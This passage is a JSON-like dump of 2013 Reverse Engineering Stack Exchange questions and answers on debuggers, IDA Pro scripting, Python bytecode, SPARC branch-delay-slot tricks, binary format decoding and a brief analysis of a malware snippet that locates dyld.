For example, in the interpreter, if I just type h without making it a function call, I get the address of the function. Can I use that address to get the bytecode? Is there some other way?

\n\n

P.S. My original goal in doing this at the time was to use pyREtic (which calls co_code) to decompile. Since it called co_code, it would fail to work. I figured out one way to do it which I will post as an answer eventually. Wanted to see what others have done or come up with.

\n", "Title": "Is it possible to get python bytecode without using co_code?", "Tags": "|python|", "Answer": "

perror's answer I think is the correct way to do it. I wanted to post the way I ended up doing this for other's sake just in case the issue I mentioned in my comment to perror's answer is correct. I don't have all my notes with me right now and will update if necessary.

\n\n

Basically I ran the program in gdb, set a break point in PyObject_New (or possibly PyObject_Init). I set the break point near the end of the function so that the object would be created. From there I was able to look into the object in memory to extract the byte code.

\n\n

To get this info back to pyREtic, I dumped function names and bytecode to a file from within GDB, modified pyREtic so that instead of calling co_code to get the bytecode, it would extract it from the file.

\n\n

Like I said, it has been a while now (the stackoverflow question was from Sept 2012). I'll look back over my notes and fill in the details.

\n" }, { "Id": "1935", "CreationDate": "2013-04-27T03:13:34.493", "Body": "

I have GDB but the binary I want to reverse engineer dynamically has no symbols. That is, when I run the file utility it shows me stripped:

\n
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped\n
\n

What options do I have if the environment in which this runs doesn't allow a remote IDA Pro instance to connect to gdbserver? In short: the environment you have is limited in what it allows you to do, but you do have trusty old gdb and a binary to reverse engineer.

\n", "Title": "How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?", "Tags": "|tools|dynamic-analysis|linux|debuggers|gdb|", "Answer": "

I used to use https://github.com/gdbinit/Gdbinit for tuning GDB but it's getting a bit dated, so I'd recommend https://github.com/hugsy/gef now as a modern alternative.

\n" }, { "Id": "1937", "CreationDate": "2013-04-27T09:29:13.530", "Body": "

Since now, when I am analyzing a binary, I'm using a \"pen and paper\" method to locate the different location of the function, the different type of obfuscations, and all my discoveries. It is quite inefficient and do not scale at all when I try to analyze big binaries.

\n\n

I know that IDAPro is having a data-base to store comments and a memory zone, but, in case we do not want to use IDAPro, what techniques or (free) tools are you using to collect your notes and to display it properly ?

\n", "Title": "How do you store your data about a binary while performing analysis?", "Tags": "|tools|binary-analysis|", "Answer": "

Currently I'm using TreeDBNotes, they have a free and pro version available. I haven't compared it to any of the methods mentioned in other answers, but find it quite useful for keeping track of my project notes/data.

\n\n

http://www.mytreedb.com

\n" }, { "Id": "1943", "CreationDate": "2013-04-27T20:06:56.917", "Body": "

This question is related to this other one. I just wonder what are the techniques applicable and which can be found in the real world to obfuscate Python program (similar questions can be found on stackoverflow here and here).

\n\n

mikeazo mentioned the fact that his program was provided with a custom Python interpreter, but what are the other techniques and how efficient are they ?

\n", "Title": "What are the techniques and tools to obfuscate Python programs?", "Tags": "|tools|obfuscation|python|", "Answer": "

You have some options.

\n\n

You can create your own obfuscation method comprised of existing encryption tools...i.e. openssl. But, beware, it will likely take you a considerable amount of time to complete this type of project.

\n\n

It'll require you to map out how you're going to enclosed the \"passwords/passkeys\" within the obfuscated code in such a way that no one, except you, can get to it. It'll be preferable if even you cant get to it.

\n\n

Then, you need to add in some logic that will cause the script to protect itself from inquisitive users who may try to pry it apart. And equally as important, whatever method you come up with must not add significantly to the execution time of the script.

\n\n

This may sound impossible, but i think its doable. You just have to be motivated and have enough time on your hands.

\n\n

Or, if you want a shortcut, you can try pasting a sample unix based python script to this site, and see if you can break their code and unveil your \"hidden\" code.

\n" }, { "Id": "1946", "CreationDate": "2013-04-28T11:36:50.347", "Body": "

I was reverse engineering a piece of code in \"Crisis\" for fun and I encountered the following :-

\n\n
__INIT_STUB_hidden:00004B8F                 mov     eax, 8FE00000h\n__INIT_STUB_hidden:00004B94\n__INIT_STUB_hidden:00004B94 loc_4B94:                               \n__INIT_STUB_hidden:00004B94                 mov     ebx, 41424344h\n__INIT_STUB_hidden:00004B99                 cmp     dword ptr [eax], 0FEEDFACEh\n__INIT_STUB_hidden:00004B9F                 jz      short loc_4BB9\n__INIT_STUB_hidden:00004BA1                 add     eax, 1000h\n__INIT_STUB_hidden:00004BA6                 cmp     eax, 8FFF1000h\n__INIT_STUB_hidden:00004BAB                 jnz     short loc_4B94\n
\n\n

What is supposed to happen here? Why is the presence of FEEDFACE expected at the address 8FFF0000 or 8FFF1000? I understand that feedface/feedfacf are Mach-O magic numbers -- however why are they expected to be present at those addresses?

\n", "Title": "FEEDFACE in OSX malware", "Tags": "|malware|osx|", "Answer": "

Crisis is trying to locate dyld location in that piece of code: 32bits dyld is usually located at 8FE00000 - it uses that to solve symbols, if I'm not mistaken.

\n\n

Check my Crisis analysis if you haven't already.

\n" }, { "Id": "1956", "CreationDate": "2013-04-29T01:12:29.017", "Body": "

In my previous question I had originally asked for this, but since this aspect of the question was completely disregarded, I feel compelled to ask it separately.

\n\n

There are certain events apparently not covered in the IDA SDK. I learned in the above linked question that anterior and posterior comments are supported, but what about other events such as when I press h (e.g. 2Ah becomes 42) to change the number to base 10 (and back) or r to show it as character (e.g. 2Ah becomes *).

\n\n

How would I go about to catch these?

\n\n

NB: in general this question would also relate to IDA versions prior to the ones supporting a particular event notification. E.g. the IDA SDK 6.4, according to Igor, introduced notifications for anterior and posterior comments. How can I get older versions and 6.4 to co-operate w.r.t. those events in conjunction with collabREate?

\n\n

I know that it is allowed to reverse engineer IDA itself, so what I am looking for are pointers.

\n", "Title": "How to get notified about IDA database events not covered in the IDA SDK?", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "

When I needed to do a similar task I ended up hooking the IDB save event and then scanned the IDB for modifications using the IDA API before each user save. it took about a few seconds to scan the entire function list, aggregating most information for both functions and data elements.

\n\n

To me, that sounds like a more practical approach than trying to reverse engineer IDA and patching these hooks in, especially when trying to catch UI events such as user hotkeys.

\n\n

one point to note though, is that aggregating structure/enum data might be difficult if you choose not to rely on IDA's id numbers if you're doing to handle more than one IDB file.

\n\n

If you do wish to reverse engineer IDA, it'll be very interesting to join a discussion on the topic somewhere.\nsince IDA now uses Qt for most of it's UI (though I'll guess the migration to Qt wasn't as smooth as one could hope), a great starting point into Qt will be Daniel Pistelli's Qt Internals and Reversing article, which also includes an IDAPython script at the end (yet reading the entire article is highly recommended).

\n\n

it's somewhat outdated but assuming IDA uses Qt 4.8.x there aren't many differences (if you'd like I can list the ones I know of).

\n\n

basically, since Qt is very event-driven (and with some luck IDA 6.0 was designed with that in mind) it might be the case that you just need to listen, in Qt-dialect this is called connect-ing a slot (event handler) to a signal (event), for at-least some of the specific events you wish to hook.

\n\n

I previously did some moderate Qt-IDA hacks as I call them, using Qt and PyQt to manipulate Qt objects under IDA's application. In the same manner I managed to add and edit menu items and tool bars manually, it is definitely possible to look up the context menu popup when right-clicking in IDA's disassembly view or hooking the hotkeys.

\n\n

This RE.SE answer of mine might be a good place to start.

\n" }, { "Id": "1958", "CreationDate": "2013-04-29T16:28:50.237", "Body": "

I'm reversing some malware on an OSX VM when I noticed something peculiar. While stepping through the instructions, the instruction just after a int 0x80 gets skipped i.e. gets executed without me stepping through this.

\n\n

Example:

\n\n
 int 0x80\n inc eax ; <--- this gets skipped\n inc ecx ; <--- stepping resumes here\n
\n\n

Why does this happen? Have you encountered something similar to this?

\n", "Title": "Strange GDB behavior in OSX", "Tags": "|malware|gdb|osx|x86|mach-o|", "Answer": "

When single-stepping through code, the T flag is set so that the CPU can break after the instruction completes execution. When an interrupt occurs, the state of the T flag is placed on the stack, and used when the iret instruction is executed by the handler. However, the iret instruction is one of a few instructions that causes a one-instruction delay in the triggering of the T flag, due to legacy issues relating to the initialization of the stack.

\n\n

So the skipped instruction is executing but you can't step into it (but if you set a breakpoint at that location and run to that point instead, then you will get a break).

\n" }, { "Id": "1962", "CreationDate": "2013-04-29T17:49:06.700", "Body": "

Our team recently had to look at SPARC assembly specifications, the problem is that I do not have a SPARC processor to try things on it (I should set up a simulator or get one of these old Sparc station on my desk... I know).

\n\n

Somehow, the ba (branch always) instruction puzzled me because it is a delayed branch execution instruction. This mean that the instruction located just after the ba get executed before the jump occurs.

\n\n

One of my colleague raised a very interesting question, what does occur in this case:

\n\n
0x804b38 ba 0x805a10\n0x804b3c ba 0x806844\n...\n0x805a10 add %r3, %r2, %r5\n...\n0x806844 sub %r3, %r5, %r2\n...\n
\n\n

Our guess, following the specifications, is that the run should behave like this:

\n\n
0x805a10 add %r3, %r2, %r5\n0x806844 sub %r3, %r5, %r2\n0x806848 ...\n
\n\n

Which means that you can probably jump and pick up one instruction inside a block of others and run to the next ba... I wonder what the CFG would look like.

\n\n

Whatever, it was the \"simple\" case, what if we have dynamic jumps (the jmp instruction is like a ba but based on the address stored in the given register):

\n\n
0x804b38 jmp %r3\n0x804b3c jmp %r0\n...\n(%r3)    change %r0\n...\n
\n\n

Would it be a good way to mislead a static-analyzer ? Or, is there a way to have an easy computation to guess what it is doing ?

\n", "Title": "On SPARC, what happens when a branch is placed in the branch-delay slot of another branch?", "Tags": "|obfuscation|binary-analysis|sparc|", "Answer": "

I edited the whole example a little so that it would better match the question.

\n\n

My SPARC assembly fu is weak, but what I did was write a little \"Hello world\" with a twist (or one could say with jumps/gotos) in C and use gcc -S to translate it to assembly. I have a SPARC on which I am running it, details:

\n\n
$ isainfo -v\n64-bit sparcv9 applications\n        vis2 vis\n32-bit sparc applications\n        vis2 vis v8plus div32 mul32\n
\n\n

NB: b is the same as jmp, it's just a different mnemonic for the same thing, really. One takes an immediate value (b), the other a register (jmp).

\n\n

It turns out that what the link you gave is true for GCC:

\n\n
\n

Notice that the last instruction executes before the jump takes place,\n not after the subroutine returns. This first instruction after a jump\n is called a delay slot. It is common practice to fill the delay slot\n with a special operation that performs no task, called a no-operation,\n or nop.

\n
\n\n

Real life test

\n\n

I reckon we need to do this with and without debugger, because it's not clear whether it might behave differently under a debugger. So the code should output something readable so we can see what kind of effect our tinkering has ;)

\n\n

C code

\n\n
#include <stdio.h>\n\nint foo(int argc)\n{\n        switch(argc)\n        {\n        case 0:\n        case 1:\n                goto a1;\n        case 2:\n                return 3;\n        case 4:\n                goto a2;\n        case 5:\n                return -1;\n        default:\n                goto a4;\n        }\na1:     return 1;\na2:     return 2;\na4:     return 4;\n}\n\nint main(int argc, char** argv)\n{\n        printf(\"Hello world: %i\\n\", foo(argc));\n        return foo(argc);\n}\n
\n\n

This gives me plenty of branch instructions to play around with the idea raised in the question.

\n\n

Assembly created by gcc -S

\n\n

Here's the assembly before I tinkered with it:

\n\n
        .file   \"test.c\"\n        .section        \".text\"\n        .align 4\n        .global foo\n        .type   foo, #function\n        .proc   04\nfoo:\n        !#PROLOGUE# 0\n        save    %sp, -120, %sp\n        !#PROLOGUE# 1\n        st      %i0, [%fp+68]\n        ld      [%fp+68], %g1\n        cmp     %g1, 5\n        bgu     .LL11\n        nop\n        ld      [%fp+68], %g1\n        sll     %g1, 2, %i5\n        sethi   %hi(.LL12), %g1\n        or      %g1, %lo(.LL12), %g1\n        ld      [%i5+%g1], %g1\n        jmp     %g1\n         nop\n.LL6:\n        mov     3, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL9:\n        mov     -1, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL5:\n        mov     1, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL8:\n        mov     2, %g1\n        st      %g1, [%fp-20]\n        b       .LL1\n         nop\n.LL11:\n        mov     4, %g1\n        st      %g1, [%fp-20]\n.LL1:\n        ld      [%fp-20], %i0\n        ret\n        restore\n        .align 4\n        .align 4\n.LL12:\n        .word   .LL5\n        .word   .LL5\n        .word   .LL6\n        .word   .LL11\n        .word   .LL8\n        .word   .LL9\n        .size   foo, .-foo\n        .section        \".rodata\"\n        .align 8\n.LLC0:\n        .asciz  \"Hello world: %i\\n\"\n        .section        \".text\"\n        .align 4\n        .global main\n        .type   main, #function\n        .proc   04\nmain:\n        !#PROLOGUE# 0\n        save    %sp, -112, %sp\n        !#PROLOGUE# 1\n        st      %i0, [%fp+68]\n        st      %i1, [%fp+72]\n        ld      [%fp+68], %o0\n        call    foo, 0\n         nop\n        mov     %o0, %o5\n        sethi   %hi(.LLC0), %g1\n        or      %g1, %lo(.LLC0), %o0\n        mov     %o5, %o1\n        call    printf, 0\n         nop\n        ld      [%fp+68], %o0\n        call    foo, 0\n         nop\n        mov     %o0, %g1\n        mov     %g1, %i0\n        ret\n        restore\n        .size   main, .-main\n        .ident  \"GCC: (GNU) 3.4.3 (csl-sol210-3_4-branch+sol_rpath)\"\n
\n\n

I'll concentrate on modifying the result of foo(), so I won't repeat all of the assembly code again but instead only bits and pieces.

\n\n

btw: GCC created the extra indentation for the nop instructions, but it makes it easy to spot them, of course.

\n\n

Steps to get from C to executable with tinkering involved

\n\n

Here are the steps to get to the modified program.

\n\n\n\n

Modifications to the assembly code

\n\n

First, I felt compelled to \"optimize\" the instructions in LL6, LL9, LL5, LL8, LL11 and LL1 like this:

\n\n
.LL6:\n        mov     3, %i0\n        b       .LL1\n         nop\n.LL9:\n        mov     -1, %i0\n        b       .LL1\n         nop\n.LL5:\n        mov     1, %i0\n        b       .LL1\n         nop\n.LL8:\n        mov     2, %i0\n        b       .LL1\n         nop\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n
\n\n

It should be clear that if your colleague is right, we should be able to substitute the nop instructions for a mov ..., %i0 to see something other than the expected value.

\n\n

I called my modified assembly file modified.s so as to not confuse myself ;)

\n\n

Verifying my \"optimizations\"

\n\n

First test is with my \"optimizations only\". I wrote a little test script:

\n\n
#!/usr/bin/env bash\nfor i in optimized test; do\n        echo -n \"$i: \"; ./$i\n        echo -n \"$i: \"; ./$i a1\n        echo -n \"$i: \"; ./$i a1 a2\n        echo -n \"$i: \"; ./$i a1 a2 a3\ndone\n
\n\n

The binaries are called optimized (my \"optimizations\" from above) and test (plain assembly created by GCC from C code).

\n\n

Results:

\n\n
$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\n
\n\n

So my \"optimizations\" seem to be just fine. Now let's tinker a little.

\n\n

Tinkering with the instructions which modify the program counter

\n\n

The claim is that anything past a jmp (i.e. b) will get executed before the jump itself. We have several labels with jumps, so let's replace the nop in each with something that changes the value inside %i0 and thus the return value of foo().

\n\n

The changes:

\n\n
.LL6:\n        mov     3, %i0\n        b       .LL1\n        mov     30, %i0\n.LL9:\n        mov     -1, %i0\n        b       .LL1\n        mov     42, %i0\n.LL5:\n        mov     1, %i0\n        b       .LL1\n        mov     10, %i0\n.LL8:\n        mov     2, %i0\n        b       .LL1\n        mov     20, %i0\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n
\n\n

So except for return code -1 (which becomes 42) and 4 (which stays the same) everything should now return the original value times ten.

\n\n

Let's see the results (I added modified to the list of items in my for loop):

\n\n
$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\nmodified: Hello world: 10\nmodified: Hello world: 30\nmodified: Hello world: 4\nmodified: Hello world: 20\n
\n\n

A change that is as close to your example as I can get it

\n\n
        mov     39, %i0\n        jmp     %g1\n        b       .LL11\n        b       .LL1\n.LL6:\n        mov     37, %i0\n        b       .LL1\n        mov     30, %i0\n[...]\n.LL11:\n        mov     4, %i0\n.LL1:\n        ret\n        restore\n
\n\n

Amending the test script, here's the output:

\n\n
$ ./runtest\noptimized: Hello world: 1\noptimized: Hello world: 3\noptimized: Hello world: 4\noptimized: Hello world: 2\ntest: Hello world: 1\ntest: Hello world: 3\ntest: Hello world: 4\ntest: Hello world: 2\nmodified: Hello world: 10\nmodified: Hello world: 30\nmodified: Hello world: 4\nmodified: Hello world: 20\nquestion: Hello world: 4\nquestion: Hello world: 4\nquestion: Hello world: 4\nquestion: Hello world: 4\n
\n\n

Baffling!

\n\n

Result

\n\n

You can play tricks on the reverse engineer's mind with this - no doubt. I learned something new and that alone was worth it.

\n\n

Here's the situation

\n\n
jmp     %g1\nb       .LL11 ; <-- this is the branch taken\nb       .LL1\nmov     37, %i0 ; <-- but this gets executed first (at least in GDB)\n
\n\n

Now I don't know whether this is true for all SPARC machines, but certainly for the one I was using for my tests (specs at the top)

\n\n

Conclusion

\n\n

Yes, this can certainly be used to trick the unwitting reverse engineer and perhaps the disassembler (static analysis tool). It's basically an opaque predicate. I.e. the outcome is clear at compile time, but it looks like it's dynamic.

\n\n

It's difficult to see how good different disassemblers cope, given that I only have IDA Pro and objdump available here. My educated guess would be that they cope the same as with other opaque predicates, i.e. sometimes they'll get fooled, sometimes they'll be surprisingly smart. So whether or not this is a suitable obfuscation method remains unsolved.

\n\n

Bonus information

\n\n

As opposed to prior to the edit, IDA seems to be mildly confused by the new code, watch this graph view:

\n\n

\"IDA\nclick here for full size image (previous version)

\n\n

Little GDB session

\n\n

0x106CC is the mov 39, %i0 instruction, found via IDA.

\n\n
$ gdb -q ./question\n(no debugging symbols found)\n(gdb) b *0x106CC\nBreakpoint 1 at 0x106cc\n(gdb) run a1\nStarting program: /export/home/builder/test/question a1\n[New LWP 1]\n[New LWP 2]\n[LWP 2 exited]\n[New LWP 2]\n(no debugging symbols found)\n(no debugging symbols found)\n\nBreakpoint 1, 0x000106cc in foo ()\n(gdb) disp/i $pc\n1: x/i $pc\n0x106cc <foo+44>:       mov  0x27, %i0\n(gdb) si\n0x000106d0 in foo ()\n1: x/i $pc\n0x106d0 <foo+48>:       jmp  %g1\n0x106d4 <foo+52>:       b  0x1070c <foo+108>\n0x106d8 <foo+56>:       b  0x10710 <foo+112>\n0x106dc <foo+60>:       mov  0x25, %i0\n(gdb)\n0x000106d4 in foo ()\n1: x/i $pc\n0x106d4 <foo+52>:       b  0x1070c <foo+108>\n0x106d8 <foo+56>:       b  0x10710 <foo+112>\n0x106dc <foo+60>:       mov  0x25, %i0\n(gdb)\n0x000106dc in foo ()\n1: x/i $pc\n0x106dc <foo+60>:       mov  0x25, %i0\n(gdb)\n0x0001070c in foo ()\n1: x/i $pc\n0x1070c <foo+108>:      mov  4, %i0\n(gdb)\n0x00010710 in foo ()\n1: x/i $pc\n0x10710 <foo+112>:      ret\n0x10714 <foo+116>:      restore\n(gdb)\n
\n\n

So according to GDB we are executing the mov 37, %i0 before the branching. This seems to suggest to me that even when you chain multiple branch instructions, the first thing to be executed is whatever comes after the last one in the chain.

\n" }, { "Id": "1965", "CreationDate": "2013-04-29T18:57:17.257", "Body": "

I have an android application that uses a shared library which I would like to step through with a debugger. I've had success using IDA 6.3 to debug executables with the android_server debug server included with IDA but haven't gotten it to work with shared objects yet.

\n\n

For a specific example, suppose I have the following Java code (This comes from the hellojni example in the Android NDK):

\n\n
System.loadLibrary(\"hello-jni\");\ntv.setText( stringFromJNI() );\n
\n\n

With the JNI C code as:

\n\n
jstring\nJava_com_example_hellojni_HelloJni_stringFromJNI( JNIEnv* env, jobject thiz )\n{\n        return (*env)->NewStringUTF(env, \"Hello from JNI !\");\n}\n
\n\n

If the java code is run only when the application starts up, how can I break in the function Java_com_example_hellojni_HelloJni_stringFromJNI?

\n", "Title": "How to break on an Android JNI function with IDA Pro Debugger", "Tags": "|ida|android|", "Answer": "

Newer versions of Android actually include a mechanism like this. It uses jdwp to send a signal to tell the app that you've connected up. See the ndk-gdb script from the NDK =)

\n" }, { "Id": "1970", "CreationDate": "2013-04-30T19:44:25.337", "Body": "

Is it possible to sniff TCP traffic for a specific process using Wireshark, even through a plugin to filter TCP traffic based on process ID?

\n\n

I'm working on Windows 7, but I would like to hear about solution for Linux as well.

\n", "Title": "Sniffing TCP traffic for specific process using Wireshark", "Tags": "|sniffing|wireshark|", "Answer": "

The best option for Windows that I have found in 2023 is using WinShark, which is not that well known:

\n

https://github.com/airbus-cert/Winshark

\n

It uses ETW to capture PID related to each packet, you just have to use something like winshark.header.ProcessId == 1234.

\n

\"enter

\n

Installing it is also very straightforward which is explained in their github.

\n" }, { "Id": "1971", "CreationDate": "2013-04-30T19:57:56.433", "Body": "

I have binary data representing a table.

\n\n

Here's the data when I print it with Python's repr():\n\\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00

\n\n

Here's what the table looks like in the proprietary software.

\n\n

        test1        
\n        test1test1
\ntest          test1
\ntest1                
\ntest1test2        
\n                        
\n                        
\ntest1                
\ntest1                
\ntest1                
\n        test1        
\n        test1        
\n                        
\n                        
\ntest1                
\ntest1                

\n\n

I was able to guess some of it:

\n\n\n\n

Anyone knows if the data is following a standard or have any tips how to decode it?

\n\n

Thanks!

\n\n

Here's an example with python :

\n\n
from struct import unpack\n\n\ndef DecodeData(position):\n    print \"position\", position\n    firstChar = data[position:][:1]\n    size_in_bytes = unpack('B', firstChar)[0]\n    print \"firstChar: {0}. size_in_bytes: {1}\".format(repr(firstChar), size_in_bytes)\n    return size_in_bytes\n\n\ndef ReadWord(position, size_in_bytes):\n    word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\n    print \"word:\", word\n\ndata = \"\\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00\"\n\nposition = 0\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\xff - ?\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nReadWord(position, size_in_bytes)\n\n\nprint \"\"\nposition += size_in_bytes\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\"\"'2A' : could be to say that \"test\" has 2 empty cells before it\"\"\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\n\nposition += size_in_bytes\n\nDecodeData(position)\nprint \"\"\"@: mean that there's another \"test1\" cell\"\"\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x04\\\\x03 - Could be that the next value is 3 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\"\nposition += 1\nprint \"@@ - Seems to mean 3 repetitions\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x04\\\\x05 - Could be that the next value is 5 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x00\\\\x00 - That could mean to move to the first cell on the next column\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\nposition += size_in_bytes\n\nprint \"\"\nDecodeData(position)\nprint \"\\\\x03 - Could be to tell that the pervious word 'test2' is 3 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x05 - ?\"\n\nprint \"\"\nposition += 1\nsize_in_bytes = DecodeData(position)\nposition += 1\nword = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]\nprint \"word:\", word\nposition += size_in_bytes\n\nprint \"\"\nDecodeData(position)\nprint \"\\\\x06 - Could be to tell that the pervious word 'test1' is 6 cells down\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\0 - ?\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nposition += 1\nDecodeData(position)\nprint \"\\\\x00\\\\x01 - Seems to mean, next column second cell\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"@ - repetition\"\n\nprint \"\"\nposition += 1\nDecodeData(position)\nprint \"\\\\x00 - end of data or column\"\n
\n", "Title": "Any idea how to decode this binary data?", "Tags": "|unpacking|file-format|", "Answer": "

Here's an explanation for what I think the individual symbols mean. I'm basing this around the presumption that a little selector is going through the cells, one by one.

\n\n\n\n

So here's my interpretation of the data you're giving us:

\n\n\n\n

Explanation: My method was to look for a pattern, check if the pattern withstood further scrutiny - the first pattern I checked seemed to - and clear up any minor issues I had with it. Seems to have worked.

\n" }, { "Id": "1973", "CreationDate": "2013-05-01T12:12:02.280", "Body": "

I have a large section in IDA that is a data lookup table of word length data. I want to change them all to word length rather than byte length. I know you can make an array but when I do it becomes an array of bytes.

\n", "Title": "How to change a large section of bytes to words in IDA Pro", "Tags": "|ida|", "Answer": "

According to devttys0's answer.

\n

This script is for IDA version higher than 7.4.

\n
  def convert_data():\n        align_size = ida_kernwin.ask_long(4, "align size")\n        if align_size == None:\n            return\n        start = idc.read_selection_start()\n        end = idc.read_selection_end()\n        print("Align %d bytes from 0x%X - 0x%X" % (align_size, start, end))\n        ida_bytes.del_items(start, (end-start), ida_bytes.DELIT_SIMPLE)\n        flag = None\n        if align_size == 1:\n            flag = ida_bytes.FF_BYTE\n        elif align_size == 2:\n            flag = ida_bytes.FF_WORD\n        elif align_size == 4:\n            flag = ida_bytes.FF_DWORD\n        elif align_size == 8:\n            flag = ida_bytes.FF_QWORD\n        elif align_size == 16:\n            flag = ida_bytes.FF_OWORD\n        \n        if flag == None:\n            ida_kernwin.warning("align size is invalid")\n            return\n            \n        while start < end:\n            ida_bytes.create_data(start, flag, align_size, ida_idaapi.BADADDR)\n            start += align_size\n
\n" }, { "Id": "1977", "CreationDate": "2013-05-01T16:57:56.057", "Body": "

I'm interested in debugging and monitoring a Windows Phone 8 application for which I do not have the source code. Android and iOS can both be rooted/jailbroken, which allows me to use tools like GDB (and others) to debug and monitor a running application, but I'm not aware of anything similar for Windows Phone 8.

\n\n

Additionaly I want to monitor filesystem activity while running the application (I use Filemon for iOS for this task on iOS). Or is it easier to simply run the application in the Windows Phone 8 simulator and attempt to monitor the app that way?

\n\n

How do you debug a Windows Phone 8 application without source code?

\n", "Title": "How can I debug or monitor a Windows Phone 8 application?", "Tags": "|windowsphone|", "Answer": "

With source

\n\n

You could use something like XAPSpy and Tangerine on Github which is updated to work with WP8. It may work without source not sure.

\n\n

XAPSpy Source: Github.

\n\n

Without source

\n\n

Something more advanced is need something more like Windows Phone App Analyser

\n\n

Download/Source: SourceForge

\n\n

I would imagine you could use them both together by decompliling the .xap you are working with with WPPA and then using XAPSpy on that source. I've never tried that though.

\n\n

Sadly if you are dealing with a newer app you won't be able \nto decompile it as they are encrypted. You might be able to somehow get the keys out of the operating system but that would be difficult as well.

\n\n

Here is a set of slides on the topic: Inspection of Windows Phone Applciations that goes into some detail about tangerine.

\n" }, { "Id": "1979", "CreationDate": "2013-05-01T20:49:47.897", "Body": "

I have WinDbg attached to a process I don't have the source code for. I've set a breakpoint with bm ADVAPI32!_RegOpenKeyExW@20. The output of dv is:

\n\n
Unable to enumerate locals, HRESULT 0x80004005\nPrivate symbols (symbols.pri) are required for locals.\nType \".hh dbgerr005\" for details.\n
\n\n

The output of kP is:

\n\n
0:000> kP\nChildEBP RetAddr  \n001ae174 5b73a79c ADVAPI32!_RegOpenKeyExW@20\n001ae1cc 5b77bb20 msenv!?ReadSecurityAddinSetting@@YG_NPAGK@Z+0x8a\n001ae468 5b781aad msenv!?    QueryStatusCmd@CVSCommandTarget@@QAEJPBVCIcmdGuidCmdId@@PBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z+0x254\n001ae49c 5b786073 msenv!?IsCommandVisible@CVSShellMenu@@QAEJPBVCIcmdGuidCmdId@@_N@Z+0xbf\n001ae4e4 5b785fd2 msenv!?IsCommandVisible@CSurfaceCommandingSupport@@UAGJABU_COMMANDTABLEID@@_NPAH@Z+0xa0\n. . .\n
\n\n

What can I do to look at the values of the paramaters passed (particularly the second one: LPCTSTR lpSubKey)? Also, what can I do to set a conditional breakpoint based on the value?

\n\n

I have the Visual Studio debugger as well as WinDbg. I'm willing to try other tools as well.

\n", "Title": "How do I see the parameters passed to RegOpenKeyEx, and set a conditional breakpoint?", "Tags": "|debugging-symbols|windbg|", "Answer": "

Although it doesn't support breakpoints, Process Monitor is an excellent tool to monitor registry access. Using Filters you can easily choose which keys you want to include, exclude, highlight etc. It also allows you to view the stack trace of any event.

\n\n
\n

Process Monitor is an advanced monitoring tool for Windows that shows\n real-time file system, Registry and process/thread activity. It\n combines the features of two legacy Sysinternals utilities, Filemon\n and Regmon, and adds an extensive list of enhancements including rich\n and non-destructive filtering, comprehensive event properties such\n session IDs and user names, reliable process information, full thread\n stacks with integrated symbol support for each operation, simultaneous\n logging to a file, and much more. Its uniquely powerful features will\n make Process Monitor a core utility in your system troubleshooting and\n malware hunting toolkit.

\n
\n\n

\"enter\n\"enter

\n" }, { "Id": "1990", "CreationDate": "2013-05-03T07:13:20.343", "Body": "

When I disassemble a function, I encounter from time to time an expression of the form %reg:value. Typically, I encounter this syntax when I activate the canaries in GCC (-fstack-protector), as in the following example:

\n\n
